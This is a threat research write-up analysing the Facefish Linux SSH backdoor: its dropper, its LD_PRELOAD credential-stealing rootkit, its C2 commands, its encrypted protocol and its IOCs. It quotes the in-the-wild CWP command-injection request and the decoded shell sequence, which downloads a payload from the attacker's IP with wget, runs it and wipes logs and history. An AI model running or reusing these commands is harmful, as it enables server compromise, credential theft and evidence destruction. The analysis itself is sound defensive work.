<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508175705147-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Send 0x311</li>
</ul>
<p>Send instruction 0x311 to return the result of bash execution</p>
<ul>
<li>Receive 0x312</li>
</ul>
<p>Accept instruction 0x312 to re-collect and report host information</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="0x3communicationprotocolanalysis">0x3: Communication protocol analysis</h3>
<p>Rootkit's communication process uses DH <a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">(Diffie–Hellman)</a> key exchange protocol/algorithm for key exchange, and BlowFish is used for communication data encryption, so it is impossible to decrypt the traffic data only. Each session is divided into two phases, the first phase is key negotiation, the second phase uses the negotiated key to encrypt the sent data, receives and decrypts a C2 command, and then disconnects the TCP connection. This one-at-a-time encryption communication method is difficult to detect precisely by traffic characteristics.</p>
<p>Generally speaking, the easiest way to communicate using the DH protocol framework is to use the OpenSSL library, and the author of Facefish has coded (or used some open source projects) the whole communication process himself, and the code size is very compact because no third-party libraries are introduced.</p>
<ul>
<li>DH communication principle</li>
</ul>
<p>The whole communication protocol is based on the DH framework, so we need to understand the DH communication principle briefly first. Without discussing the mathematical principle behind, we use a simple example to describe the communication process directly by formula.</p>
<p>Step 1. A generates a random number a=4, chooses a prime number p=23, and a base number g=5, and calculates the public key A ($ A = g^a\mod p = 5^4\mod {23} = 4 $), then sends p, g, and A to B at the same time.</p>
<p>Step 2. After receiving the above message, B also generates a random number b=3 and uses the same formula to calculate the public key B ($ B = g^b \mod p = 5^3 \mod {23} = 10 $), then sends B to A. At the same time, B calculates the communication key s=3 and a base number g=5. Meanwhile, B calculates the communication key $ s = A^b \mod p = (g^a)^b \mod p = 18 $.</p>
<p>step 3. A receives B and also calculates the communication key $ s=B^a \mod p= (g^b)^a \mod p =18 $</p>
<p>step 4. A and B use the communication key s and BlowFish symmetric encryption algorithm to encrypt and decrypt the communication data.</p>
<p>In essence, a simple derivation shows that A and B computes by the same formula.</p>
<p>$$<br>
s = B^a \mod p = (g^b)^a \mod p = g^{ab} \mod p = (g^a)^b \mod p = A^b \mod p<br>
$$</p>
<p>There is a key mathematical function in the whole algorithm to find the power modulus power(x, y) mod z. When x and y are large, it is difficult to solve directly, so the fast power modulus algorithm is used. The start function mentioned earlier is the key code in the fast power binpow().</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510123409286-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510123553608-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Protocol analysis</li>
</ul>
<p>Sending and receiving packets use the same data structure.</p>
<pre><code class="language-c"> struct package{
struct header{
WORD payload_len; //payload length
WORD cmd; //cmmand
DWORD payload_crc; // payload crc
} ;
struct header hd;
unsigned char payload[payload_len]; // payload
}
</code></pre>
<p>As an example, the 0x200 instruction packet can be defined as follows.</p>
<pre><code class="language-c">struct package pkg = {
.hd.payload_len = 0;
.hd.cmd = 0x200;
.hd.payload_crc = 0;
.payload = "";
}
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>Against the DH communication principle and traffic data we analyze the communication protocol.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510104153887-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ol>
<li>
<p>bot first sends instruction 0x200, payload data is empty.</p>
</li>
<li>
<p>C2 replied to the instruction 0x201, payload length of 24 bytes, converted into three 64-bit values by small end, corresponding to the three key data sent by A in step1, p=0x294414086a9df32a, g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758.</p>
</li>
<li>
<p>Corresponding to step2, bot generates a random number b locally, and then generates B=0x0e27ddd4b848924c based on the received p,g, which is sent to C2 by instruction 0x202. thus completing the exchange of session keys.</p>
</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510115024505-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ol start="4">
<li>Corresponding to step3, bot and C2 generate Blowfish keys s and iv by public key A and public key B. Where iv is obtained by dissimilarity of p and g.</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510115139042-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510120455981-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>With iv and s we can encrypt and decrypt the communication data. The real communication data is encrypted using BlowFish algorithm, which is the same as the method of profile encryption mentioned before. bot sends 0x305 command to C2 with the length of 0x1b0, and the content is the registration packet data after BlowFish encryption.</p>
<p>The decrypted uplink packet data is as follows.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510190724649-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h1 id="ioc">IOC</h1>
<p>Sample MD5</p>
<pre><code>38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so
</code></pre>
<p>C2</p>
<pre><code>176.111.174.26:443
</code></pre>
<!--kg-card-end: markdown--> | Background
In Feb 2021, we came across an ELF sample using some CWP’s Ndays exploits, we did some analysis, but after checking with a partner who has some nice visibility in network traffic in some China areas, we discovered there is literarily 0 hit for the C2 traffic. So we moved on.
On 4/26/2021, Juniper published a blog about this sample, we noticed that some important technical details were not mentioned in that blog, so we decided to complete and publish our report.
The ELF sample file (38fb322cc6d09a6ab85784ede56bc5a7) is a Dropper, which releases a Rootkit. Juniper did not name it, so we gave it a name Facefish, as the Dropper released different rootkits at different times, and Blowfish encryption algorithm has been used.
Facefish supports pretty flexible configuration, uses Diffie-Hellman exchange keys, Blowfish encrypted network communication, and targets Linux x64 systems.
Overview
Facefish consists of 2 parts, Dropper and Rootkit, and its main function is determined by the Rootkit module, which works at the Ring3 layer and is loaded using the LD_PRELOAD feature to steal user login credentials by hooking ssh/sshd program related functions, and it also supports some backdoor functions. Therefore, Facefish can be characterized as a backdoor for Linux platform.
The main functions of Facefish are
* Upload device information
* Stealing user credentials
* Bounce Shell
* Execute arbitrary commands
The basic process is shown in the following diagram.
Propagation method
The vulnerabilities exploited in the wild are shown below
POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1
Host: xx.xxx.xxx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0
After decoding the part related to Facefish, the following execution command sequence is obtained, which can be seen that the main function is to download the payload of the first stage of execution, and then clean up the traces.
cd /usr/bin;
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins;
chmod 0777 /usr/bin/sshins;
ls -al /usr/bin/sshins; ./sshins;
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins;
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log;
history -c
Reverse Analysis
In simple terms, Facefish's infection procedure can be divided into 3 stages
Stage 0: Preliminary stage, spread through the vulnerability and implanted Dropper on the device
Stage 1: Release stage, Dropper releases the Rootkit
Stage 2: Operational stage, Rootkit collects and transmits back sensitive information and waits for the execution of the instructions issued by C2
Let’s take a look at Stage 1 and Stage 2.
Stage 1: Dropper Analysis
Dropper's base information is shown below, the main function is to detect the running environment, decrypt the Config and get C2 information, configure Rootkit, and finally release and start Rootkit.
MD5:38fb322cc6d09a6ab85784ede56bc5a7
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
Packer: UPX
It is worth mentioning that Dropper uses some tricks to counteract the detection of antivirus at the binary level.
Trick 1:upx with overlay
As shown in the figure below, the encrypted Config data is used as overlay to fill the end of the sample after upx shelling.
The purpose of this approach is twofold:
1. Counteracting upx decapsulation
2. The Config data is decoupled from the sample, so that the Config can be updated by the tool without compiling the source code, which is convenient for circulation in the black market.
Trick 2:elf without sections
As shown in the figure below, the section information in the sample is erased after the shell is removed
The purpose of this approach is also twofold:
Some tools that rely on section information for analysis do not work properly, and erasing sections makes analysis more difficult to a certain extent.
Some antivirus engines rely on the section information to generate the detection area of the feature, erase the section might blindfold some antivirus engines.
Dropper's main features
Dropper will output the following information when it runs
Based on this information, we can divide Dropper's functions into the following 4 stages
1.
Detecting the runtime environment
2.
Decrypting Config
3.
Configure Rootkit
4.
Release and start Rootkit
0x1:Detect the running environment
Read the first 16 bytes of /bin/cat, and determine the current system's bit number by checking the value of the 5th byte (EI_CLASS), currently Facefish only supports x64 system. Then it checks if it is running under root privileges and finally tries to read in the Config information from the end of its own file. If any of these steps fails, Facefish will give up the infection and exit directly.
0x2:Decrypting Config
The original Config information is 128 bytes long, encrypted with Blowfish's CBC mode, and stored at the end of the file in the form of overlay. The decryption key&iv of Blowfish is as follows.
* key:buil
* iv:00 00 00 00 00 00 00 00
It is worth mentioning that when using Blowfish, its author played a little trick to "disgust" security researchers during the coding process, as shown in the following code snippet.
At first glance, one would think that the key for Blowfish is "build". Note that the third parameter is 4, i.e. the length of the key is 4 bytes, so the real key is "buil".
Take the original Config as an example.
BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7
The decrypted Config is shown below, you can see the c2:port information (176.111.174.26:443).
The specific meaning of each field is as follows:
offset
length
meaning
0x00
4
magic
0x0c
4
interval
0x10
4
offset of c2
0x14
4
port
0x20(pointed by 0x10)
c2
After the decryption is completed, the following code snippet is used to verify the Config, the verification method is relatively simple, that is, compare the magic value is not 0xCAFEBABE, when the verification passed, enter the configuration Rootkit stage.
0x3:Configure Rootkit
Firstly, the current time is used as the seed to generate 16 bytes randomly as the new Blowfish encryption key, and the Config obtained from the previous stage is re-encrypted with the new key.
Then use the flag 0xCAFEBABEDEADBEEF to locate the specific location of the Rootkit in the Dropper and write the new encryption key and the re-encrypted Config information.
The changes to the file are shown below.
Before writing.
After writing.
In this process because the encryption key is randomly generated, the MD5 value of the Rootkit released at different times is different, and we speculate that this design is used to counteract the black and white HASH detection of the antivirus.
It is also worth mentioning that Facefish specifically supports the FreeBSD operating system. The implementation is relatively simple, as shown below, that is, by determining whether the EI_OSABI in cat binary is equal to 9, if so, the EI_OSABI value in Rootkit is modified to 9.
0x4: Release and start Rootkit
Write the Rootkit configured in the previous stage to the /lib64/libs.so file, and write the following to /etc/ld.so.preload to realize the Rootkit preload.
/lib64/libs.so
Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application
/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service
The actual effect is shown below.
At this point Dropper's task is complete and Rootkit starts working.
Stage 2:Rootkit Analysis
Facefish's Rootkit module libs.so works at the Ring3 layer and is loaded through the LD_PRELOAD feature, its basic information is as follows.
MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2
ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped
In IDA you can see that it exports 3 functions, according to the preload mechanism, when rootkit is loaded, they will replace libc's function of the same name and implement hook.
init_proc function, its main function is to hook ssh/sshd process related functions in order to steal login credentials.
The bind function, whose main function is to report device information and wait for the execution of C2 commands.
The start function, whose main function is to calculate keys for the key exchange process in network communication.
Analysis of the .init_proc function
The .init_proc function will first decrypt Config, get C2, PORT and other related information, then determine if the process being injected is SSH/SSHD, if it is, then HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials and sends them to C2.
0x1 Finding SSH
If the current system is FreeBSD, the dlopen function obtains the address of the link_map structure and uses the link_map to iterate through the modules loaded by the current process to find SSH-related modules.
If the current system is not FreeBSD, the address of the link_map is obtained from item 2 of the .got.plt table.
After getting the SSH related module, the next step is to determine if the module is ssh/sshd in a relatively simple way, i.e. verifying that the following string is present in the module. By this, it is known that Facefish in fact only attacks the OpenSSH implementation of client/server.
1:usage: ssh
2:OpenSSH_
0x2 HOOK function
First, Facefish looks for the address of the function to be hooked
where the ssh function to be hooked is shown as follows.
The sshd function to be hooked is shown below.
If it is not found, the function name is prefixed with Fssh_ and looked for again. If it is still not found, the function is located indirectly through the string in the function. Finally, the Hook is implemented by the following code snippet
The actual comparison before and after HOOK is shown below.
0x3 Stealing login credentials
Facefish steals the login credentials with the help of the function after Hook and reports it to C2.
The reported data format is %08x-%08x-%08x-%08x,%s,%s,%s,%s,%s, where the first 32 sections are the encrypted key, followed by the account number, remote host, password and other information.
The information reported in practice is shown below.
bind function analysis
Once the user logs in through ssh, it will trigger the bind function and then execute a series of backdoor behavior, as follows.
If the backdoor is initialized normally, it will first fork the backdoor process and enter the instruction loop of C2 connection, and the parent process will call the real bind function through syscall(0x68/0x31).
0x1: Host behavior
Determine if the sshd parent process exists, if the parent process exits, the backdoor process also exits.
If the parent process exists start collecting host information, including: CPU model, Arch, memory size, hard disk size, ssh service related configuration file and credential data.
CPU model
Memory
Hard disk
Network device
SSH service related
0x2: Introduction to C2 commands
Facefish uses a complex communication protocol and encryption algorithm, among which the instructions starting with 0x2XX are used to exchange public keys, which we will analyze in detail in the next subsection. Here is a brief explanation of the C2 functional instructions.
* Send 0x305
Whether to send the registration information 0x305, if not, collect the information and report it.
* Send 0x300
Function to report stolen credential information
* Send 0x301
Collect uname information, group packets and send 0x301, wait for further instructions
* Receive 0x302
Accept command 0x302, reverse shell.
* Receive 0x310
Accept command 0x310, execute any system command
* Send 0x311
Send instruction 0x311 to return the result of bash execution
* Receive 0x312
Accept instruction 0x312 to re-collect and report host information
0x3: Communication protocol analysis
Rootkit's communication process uses DH (Diffie–Hellman) key exchange protocol/algorithm for key exchange, and BlowFish is used for communication data encryption, so it is impossible to decrypt the traffic data only. Each session is divided into two phases, the first phase is key negotiation, the second phase uses the negotiated key to encrypt the sent data, receives and decrypts a C2 command, and then disconnects the TCP connection. This one-at-a-time encryption communication method is difficult to detect precisely by traffic characteristics.
Generally speaking, the easiest way to communicate using the DH protocol framework is to use the OpenSSL library, and the author of Facefish has coded (or used some open source projects) the whole communication process himself, and the code size is very compact because no third-party libraries are introduced.
* DH communication principle
The whole communication protocol is based on the DH framework, so we need to understand the DH communication principle briefly first. Without discussing the mathematical principle behind, we use a simple example to describe the communication process directly by formula.
Step 1. A generates a random number a=4, chooses a prime number p=23, and a base number g=5, and calculates the public key A ($ A = g^a\mod p = 5^4\mod {23} = 4 $), then sends p, g, and A to B at the same time.
Step 2. After receiving the above message, B also generates a random number b=3 and uses the same formula to calculate the public key B ($ B = g^b \mod p = 5^3 \mod {23} = 10 $), then sends B to A. At the same time, B calculates the communication key s=3 and a base number g=5. Meanwhile, B calculates the communication key $ s = A^b \mod p = (g^a)^b \mod p = 18 $.
step 3. A receives B and also calculates the communication key $ s=B^a \mod p= (g^b)^a \mod p =18 $
step 4. A and B use the communication key s and BlowFish symmetric encryption algorithm to encrypt and decrypt the communication data.
In essence, a simple derivation shows that A and B computes by the same formula.
$$
s = B^a \mod p = (g^b)^a \mod p = g^{ab} \mod p = (g^a)^b \mod p = A^b \mod p
$$
There is a key mathematical function in the whole algorithm to find the power modulus power(x, y) mod z. When x and y are large, it is difficult to solve directly, so the fast power modulus algorithm is used. The start function mentioned earlier is the key code in the fast power binpow().
* Protocol analysis
Sending and receiving packets use the same data structure.
struct package{
struct header{
WORD payload_len; //payload length
WORD cmd; //cmmand
DWORD payload_crc; // payload crc
} ;
struct header hd;
unsigned char payload[payload_len]; // payload
}
As an example, the 0x200 instruction packet can be defined as follows.
struct package pkg = {
.hd.payload_len = 0;
.hd.cmd = 0x200;
.hd.payload_crc = 0;
.payload = "";
}
Against the DH communication principle and traffic data we analyze the communication protocol.
1.
bot first sends instruction 0x200, payload data is empty.
2.
C2 replied to the instruction 0x201, payload length of 24 bytes, converted into three 64-bit values by small end, corresponding to the three key data sent by A in step1, p=0x294414086a9df32a, g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758.
3.
Corresponding to step2, bot generates a random number b locally, and then generates B=0x0e27ddd4b848924c based on the received p,g, which is sent to C2 by instruction 0x202. thus completing the exchange of session keys.
4. Corresponding to step3, bot and C2 generate Blowfish keys s and iv by public key A and public key B. Where iv is obtained by dissimilarity of p and g.
With iv and s we can encrypt and decrypt the communication data. The real communication data is encrypted using BlowFish algorithm, which is the same as the method of profile encryption mentioned before. bot sends 0x305 command to C2 with the length of 0x1b0, and the content is the registration packet data after BlowFish encryption.
The decrypted uplink packet data is as follows.
IOC
Sample MD5
38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so
C2
176.111.174.26:443
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##Background\n\nIn Feb 2021, we came across an ELF sample using some CWP’s Ndays exploits, we did some analysis, but after checking with a partner who has some nice visibility in network traffic in some China areas, we discovered there is literarily 0 hit for the C2 traffic. So we moved on.\n\nOn 4/26/2021, Juniper published a [**blog**](https://blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor) about this sample, we noticed that some important technical details were not mentioned in that blog, so we decided to complete and publish our report.\n\n\nThe ELF sample file (38fb322cc6d09a6ab85784ede56bc5a7) is a Dropper, which releases a Rootkit. Juniper did not name it, so we gave it a name `Facefish`, as the Dropper released different rootkits at different times, and Blowfish encryption algorithm has been used.\n\nFacefish supports pretty flexible configuration, uses Diffie-Hellman exchange keys, Blowfish encrypted network communication, and targets Linux x64 systems.\n\n## Overview\n\nFacefish consists of 2 parts, Dropper and Rootkit, and its main function is determined by the Rootkit module, which works at the Ring3 layer and is loaded using the `LD_PRELOAD` feature to steal user login credentials by hooking ssh/sshd program related functions, and it also supports some backdoor functions. Therefore, Facefish can be characterized as a backdoor for Linux platform.\n\nThe main functions of Facefish are\n\n* Upload device information\n* Stealing user credentials\n* Bounce Shell\n* Execute arbitrary commands\n\nThe basic process is shown in the following diagram.\n\n\n\n# Propagation method\n\nThe vulnerabilities exploited in the wild are shown below\n\n```\nPOST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1\nHost: xx.xxx.xxx.xx:2031\nUser-Agent: python-requests/2.25.1\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Length: 0\n\n```\n\nAfter decoding the part related to Facefish, the following execution command sequence is obtained, which can be seen that the main function is to download the payload of the first stage of execution, and then clean up the traces.\n\n```\ncd /usr/bin; \n/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; \nchmod 0777 /usr/bin/sshins; \nls -al /usr/bin/sshins; ./sshins; \ncat /etc/ld.so.preload;\nrm -rf /usr/bin/sshins; \nsed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; \nhistory -c\n```\n\n# Reverse Analysis\nIn simple terms, Facefish's infection procedure can be divided into 3 stages\n\nStage 0: Preliminary stage, spread through the vulnerability and implanted Dropper on the device\n\nStage 1: Release stage, Dropper releases the Rootkit\n\nStage 2: Operational stage, Rootkit collects and transmits back sensitive information and waits for the execution of the instructions issued by C2\n\nLet’s take a look at Stage 1 and Stage 2.\n\n## Stage 1: Dropper Analysis\n\nDropper's base information is shown below, the main function is to detect the running environment, decrypt the Config and get C2 information, configure Rootkit, and finally release and start Rootkit.\n\n> MD5:38fb322cc6d09a6ab85784ede56bc5a7\n>\n> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped\n>\n> Packer: UPX\n\nIt is worth mentioning that Dropper uses some `tricks` to counteract the detection of antivirus at the binary level.\n\n\n## Trick 1:upx with overlay\n\nAs shown in the figure below, the encrypted Config data is used as overlay to fill the end of the sample after upx shelling.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_upxoverlay.png\" width=\"860px\" />\n\nThe purpose of this approach is twofold:\n\n1. Counteracting upx decapsulation\n2. The Config data is decoupled from the sample, so that the Config can be updated by the tool without compiling the source code, which is convenient for circulation in the black market.\n\n\n## Trick 2:elf without sections\nAs shown in the figure below, the section information in the sample is erased after the shell is removed\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_section.png\" width=\"860px\" />\n\nThe purpose of this approach is also twofold:\n\nSome tools that rely on section information for analysis do not work properly, and erasing sections makes analysis more difficult to a certain extent.\n\nSome antivirus engines rely on the section information to generate the detection area of the feature, erase the section might blindfold some antivirus engines. \n\n## Dropper's main features\n\nDropper will output the following information when it runs\n\n\n\nBased on this information, we can divide Dropper's functions into the following 4 stages\n\n1. Detecting the runtime environment\n\n2. Decrypting Config\n\n3. Configure Rootkit\n\n4. Release and start Rootkit\n\n### 0x1:Detect the running environment\n\nRead the first 16 bytes of `/bin/cat`, and determine the current system's bit number by checking the value of the 5th byte (EI_CLASS), currently Facefish only supports x64 system. Then it checks if it is running under root privileges and finally tries to read in the Config information from the end of its own file. If any of these steps fails, Facefish will give up the infection and exit directly.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_env.png\" width=\"860px\" />\n\n### 0x2:Decrypting Config \n\nThe original Config information is 128 bytes long, encrypted with Blowfish's CBC mode, and stored at the end of the file in the form of overlay. The decryption key&iv of Blowfish is as follows.\n\n- key:buil\n- iv:00 00 00 00 00 00 00 00\n\nIt is worth mentioning that when using Blowfish, its author played a little trick to \"disgust\" security researchers during the coding process, as shown in the following code snippet.\n\nAt first glance, one would think that the key for Blowfish is \"build\". Note that the third parameter is 4, i.e. the length of the key is 4 bytes, so the real key is \"buil\".\n\n\n\nTake the original Config as an example.\n\n```\nBD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59\n5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56\nE4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2\n00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69\nEB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1\nA0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF\n71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1\nBA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7\n```\n\nThe decrypted Config is shown below, you can see the c2:port information (176.111.174.26:443).\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_dec.png\" width=\"860px\" />\n\nThe specific meaning of each field is as follows:\n\n| offset | length | meaning |\n| --------------------- | ------ | ------------ |\n| 0x00 | 4 | magic |\n| 0x0c | 4 | interval |\n| 0x10 | 4 | offset of c2 |\n| 0x14 | 4 | port |\n| 0x20(pointed by 0x10) | | c2 |\n\nAfter the decryption is completed, the following code snippet is used to verify the Config, the verification method is relatively simple, that is, compare the magic value is not `0xCAFEBABE`, when the verification passed, enter the configuration Rootkit stage.\n\n\n\n### 0x3:Configure Rootkit\n\nFirstly, the current time is used as the seed to generate 16 bytes randomly as the new Blowfish encryption key, and the Config obtained from the previous stage is re-encrypted with the new key.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_newkey.png\" width=\"860px\" />\n\nThen use the flag `0xCAFEBABEDEADBEEF` to locate the specific location of the Rootkit in the Dropper and write the new encryption key and the re-encrypted Config information.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_confroot.png\" width=\"860px\" />\n\nThe changes to the file are shown below.\nBefore writing.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_emconf.png\" width=\"860px\" />\n\nAfter writing.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_newconf.png\" width=\"860px\" />\n\nIn this process because the encryption key is randomly generated, the MD5 value of the Rootkit released at different times is different, and we speculate that this design is used to counteract the black and white HASH detection of the antivirus.\n\n\n\nIt is also worth mentioning that Facefish specifically supports the FreeBSD operating system. The implementation is relatively simple, as shown below, that is, by determining whether the EI_OSABI in cat binary is equal to 9, if so, the EI_OSABI value in Rootkit is modified to 9.\n\n\n\n### 0x4: Release and start Rootkit\n\nWrite the Rootkit configured in the previous stage to the `/lib64/libs.so` file, and write the following to `/etc/ld.so.preload` to realize the Rootkit preload.\n\n```\n /lib64/libs.so\n```\n\nRestart the ssh service with the following command to give Rootkit a chance to load into the sshd application\n\n```\n/etc/init.d/sshd restart\n/etc/rc.d/sshd restart\nservice ssh restart\nsystemctl restart ssh\nsystemctl restart sshd.service\n```\n\nThe actual effect is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_mod.png\" width=\"860px\" />\n\nAt this point Dropper's task is complete and Rootkit starts working.\n\n## Stage 2:Rootkit Analysis\n\nFacefish's Rootkit module libs.so works at the Ring3 layer and is loaded through the LD_PRELOAD feature, its basic information is as follows.\n\n> MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2\n>\n> ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped\n\nIn IDA you can see that it exports 3 functions, according to the preload mechanism, when rootkit is loaded, they will replace libc's function of the same name and implement hook.\n\n\n\n`init_proc` function, its main function is to hook ssh/sshd process related functions in order to steal login credentials.\nThe `bind` function, whose main function is to report device information and wait for the execution of C2 commands.\nThe `start` function, whose main function is to calculate keys for the key exchange process in network communication.\n\n## Analysis of the .init_proc function\nThe .init_proc function will first decrypt Config, get C2, PORT and other related information, then determine if the process being injected is SSH/SSHD, if it is, then HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials and sends them to C2.\n\n### 0x1 Finding SSH\nIf the current system is FreeBSD, the dlopen function obtains the address of the link_map structure and uses the link_map to iterate through the modules loaded by the current process to find SSH-related modules.\n\n\n\nIf the current system is not FreeBSD, the address of the link_map is obtained from item 2 of the `.got.plt` table.\n\n\n\nAfter getting the SSH related module, the next step is to determine if the module is ssh/sshd in a relatively simple way, i.e. verifying that the following string is present in the module. By this, it is known that Facefish in fact only attacks the OpenSSH implementation of client/server.\n\n```\n1:usage: ssh\n2:OpenSSH_\n```\n\n### 0x2 HOOK function\n\nFirst, Facefish looks for the address of the function to be hooked\n\nwhere the ssh function to be hooked is shown as follows.\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_sshproc.png\" width=\"860px\" />\n\nThe sshd function to be hooked is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_sshdproc.png\" width=\"860px\" />\n\nIf it is not found, the function name is prefixed with Fssh_ and looked for again. If it is still not found, the function is located indirectly through the string in the function. Finally, the Hook is implemented by the following code snippet\n\n\n\nThe actual comparison before and after HOOK is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_comp.png\" width=\"860px\" />\n\n### 0x3 Stealing login credentials\n\nFacefish steals the login credentials with the help of the function after Hook and reports it to C2.\n\n\n\nThe reported data format is `%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s`, where the first 32 sections are the encrypted key, followed by the account number, remote host, password and other information.\n\nThe information reported in practice is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_pass.png\" width=\"860px\" />\n\n## bind function analysis\n\nOnce the user logs in through ssh, it will trigger the bind function and then execute a series of backdoor behavior, as follows.\n\nIf the backdoor is initialized normally, it will first fork the backdoor process and enter the instruction loop of C2 connection, and the parent process will call the real bind function through syscall(0x68/0x31).\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image.png"}],["markdown",{"markdown":"### 0x1: Host behavior\nDetermine if the sshd parent process exists, if the parent process exits, the backdoor process also exits."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170431037-1.png"}],["markdown",{"markdown":"If the parent process exists start collecting host information, including: CPU model, Arch, memory size, hard disk size, ssh service related configuration file and credential data."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508165505995-1.png"}],["markdown",{"markdown":"CPU model"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170040197-1.png"}],["markdown",{"markdown":"Memory"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170138167-2.png"}],["markdown",{"markdown":"Hard 